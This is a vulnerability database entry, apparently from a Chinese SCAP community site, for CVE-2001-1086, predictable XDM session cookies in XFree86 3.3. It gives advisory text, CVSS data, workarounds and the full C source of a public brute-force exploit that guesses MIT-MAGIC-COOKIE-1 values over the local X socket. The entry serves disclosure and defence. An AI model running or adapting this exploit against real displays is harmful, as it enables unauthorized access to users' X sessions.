CVE-2001-1086
CVSS7.5
发布时间 :2001-07-04 00:00:00
修订时间 :2008-09-05 16:25:39
NMCOES    

[原文]XDM in XFree86 3.3 and 3.3.3 generates easily guessable cookies using gettimeofday() when compiled with the HasXdmXauth option, which allows remote attackers to gain unauthorized access to the X display via a brute force attack.


[CNNVD]XDM Session Cookie可预测漏洞(CNNVD-200107-052)

        CVE(CAN) ID: CAN-2001-1086
        
        
        
        xdm是X显示管理工具,是XFree86软件包的一部分,主要负责本地和远程的X Session的
        
        显示的管理。
        
        
        
        如果xdm服务器编译时没有包含WrapHelp.c的话,就容易受到X cookie的穷举攻击,这
        
        是由于使用了容易猜测的数字保护Session的结果。
        
        
        
        这可能导致远程攻击者获得对显示器的访问。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:xfree86_project:x11r6:3.3
cpe:/a:xfree86_project:x11r6:3.3.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1086
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1086
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200107-052
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2985
(VENDOR_ADVISORY)  BID  2985
http://xforce.iss.net/static/6808.php
(VENDOR_ADVISORY)  XF  xdm-cookie-brute-force(6808)
http://www.securityfocus.com/archive/1/194907
(VENDOR_ADVISORY)  BUGTRAQ  20010704 xdm cookies fast brute force
http://online.securityfocus.com/archive/1/195008
(VENDOR_ADVISORY)  BUGTRAQ  20010705 Re: xdm cookies fast brute force

- 漏洞信息

XDM Session Cookie可预测漏洞
高危 配置错误
2001-07-04 00:00:00 2005-10-20 00:00:00
远程  
        CVE(CAN) ID: CAN-2001-1086
        
        
        
        xdm是X显示管理工具,是XFree86软件包的一部分,主要负责本地和远程的X Session的
        
        显示的管理。
        
        
        
        如果xdm服务器编译时没有包含WrapHelp.c的话,就容易受到X cookie的穷举攻击,这
        
        是由于使用了容易猜测的数字保护Session的结果。
        
        
        
        这可能导致远程攻击者获得对显示器的访问。
        
        
        
        

- 公告与补丁

        
        
        临时解决方法:
        
        
        
        1.重新编译XFree86,编译时包含WrapHelp.c
        
        2.控制对X服务器的访问
        
        
        
        厂商补丁:
        
        
        
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
        
        的主页以获取最新版本:
        
        
        http://www.xfree86.org/

        

- 漏洞信息 (20993)

XFree86 X11R6 3.3 XDM Session Cookie Guessing Vulnerability (EDBID:20993)
unix remote
2001-06-24 Verified
0 ntf & sky
N/A [点击下载]
source: http://www.securityfocus.com/bid/2985/info

xdm is the X Display Manager, a component of the XFree86 package. xdm manages the display of X sessions both locally and remotely.

An xdm server compiled without WrapHelp.c is vulnerable to a brute force X cookie attack, due to using trivially guessed numbers to secure the session, via gettimeofday().

This makes it possible for a remote user to potentially gain access to the display. 


/*
** xdm-cookie-exploit.c
**
** Made by (ntf & sky)
** Login    <ntf@epita.fr>, <sky@epita.fr>
**
** Last update Sun Jun 24 21:38:48 2001 root
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <X11/Xmd.h>
#include <X11/X.h>
#include <signal.h>

void doit(struct timeval t);
void die(char *perror_msg); /* TODO: terminal function */

#define COOKIE_SZ 16
#define TRUE  42

struct  s_x11_hdr
{
  char  endian;
  char  pad1;
  CARD16 protocol_major_version;
  CARD16 protocol_minor_version;
  CARD16 authorization_protocol_name_length;
  CARD16 authorization_protocol_data_length;
  CARD16 pad2;
  char  authorization_protocol_name[20];
  char  authorization_protocol_data[16];
};

static unsigned  long int next = 1;
static unsigned int  total = 0;

void on_sigint(int sig)
{
  printf("total: %d\n", total);
}

int main(ac,av)
int ac;
char *av[];
{
  struct timeval t;

  if (ac < 3)
    {
      fprintf (stderr, "%s: usage time_insec time_inusec\n", av[0]);
      exit (4);
    }
  t.tv_sec = atoi(av[1]);
  t.tv_usec = atoi(av[2]);
  printf("sec == %lu\nusec == %lu\n", t.tv_sec, t.tv_usec);
  doit(t);
  return (0);
}



static int inline xdm_rand(void)
{
    next = next * 1103515245 + 12345;
    return (unsigned int)(next / 65536) % 32768;
}

void print_cookie(unsigned char cookie[COOKIE_SZ])
{
  int i;

  printf("cookie=");
  for (i = 0; i < COOKIE_SZ; i++)
    printf("%02x", cookie[i]);
  printf("\n");
}


void  doit(t)
struct timeval t;
{
  unsigned char  cookie[COOKIE_SZ];
  long   ldata[2];
  struct sockaddr_un addr;
  char   buffer[1024];
  struct s_x11_hdr x11hdr;

  ldata[0] = t.tv_usec;
  ldata[1] = t.tv_sec;
  total = 0;
  x11hdr.endian = 'l';
  x11hdr.protocol_major_version = X_PROTOCOL;
  x11hdr.protocol_minor_version = X_PROTOCOL_REVISION;
  x11hdr.authorization_protocol_name_length = 18;
  x11hdr.authorization_protocol_data_length = 16;
  bcopy("MIT-MAGIC-COOKIE-1", x11hdr.authorization_protocol_name, 18);
  for (total = 0; TRUE; total++)
    {
      int fd;
      int i;

      if (!ldata[0])
 ldata[1]--;
      ldata[0]--;
      if ((fd = socket(PF_LOCAL, SOCK_STREAM, 0)) == -1)
 die("socket");
      memset(&addr, 0, sizeof(addr));
      addr.sun_family = AF_LOCAL;
      strcpy(addr.sun_path, "/tmp/.X11-unix/X0");
      if ((connect(fd, (struct sockaddr*)&addr, sizeof(addr))) == -1)
 die("connect");
      next = (ldata[0]) + (ldata[1] << 16);
      for (i = 0; i < 16; i++)
 cookie[i] = (xdm_rand() & 0xff00) >> 8;
      bcopy(cookie, x11hdr.authorization_protocol_data, 16);
      if (write(fd, &x11hdr, sizeof(x11hdr)) == -1)
 die("write");
      if (read(fd, buffer, sizeof(buffer)) == -1)
 die("read");
      if (buffer[0])
 {
   printf("SUCCESS: ");
   print_cookie(cookie);
   exit(0);
 }
      if (!(total % 1000))
 {
   printf(".");
   fflush(stdout);
 }
      close(fd);
    }
  exit(42);
}

void die(str)
char *str;
{
  perror(str);
  exit(4);
}
		

- 漏洞信息

11759
XFree86 XDM gettimeofday() Predictable Cookie Weakness
Remote / Network Access Misconfiguration
Loss of Integrity Workaround
Exploit Public Third-party Verified

- 漏洞描述

XDM in XFree86 contains a flaw that may allow a malicious user to perform a brute force attack. The issue is triggered when X server is complied without HasXdmXauth, which will cause the cookies to be generated by the "gettimeofday" function. A remote attacker can potentially guess the cookie values and gain unauthorized access to the system, resulting in a loss of integrity.

- 时间线

2001-07-04 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): 1. use good compilation options ; 2. limit access to X11 sockets (start X server with "-nolisten tcp"...)

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

XDM Session Cookie Guessing Vulnerability
Configuration Error 2985
Yes No
2001-07-04 12:00:00 2009-07-11 06:56:00
This vulnerability was announced to Bugtraq by Cyril Diakhate <diakhate@easynet.fr> on July 4, 2001.

- 受影响的程序版本

XFree86 X11R6 3.3.3
XFree86 X11R6 3.3

- 漏洞讨论

xdm is the X Display Manager, a component of the XFree86 package. xdm manages the display of X sessions both locally and remotely.

An xdm server compiled without WrapHelp.c is vulnerable to a brute force X cookie attack, due to using trivially guessed numbers to secure the session, via gettimeofday().

This makes it possible for a remote user to potentially gain access to the display.

- 漏洞利用

x

- 解决方案

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站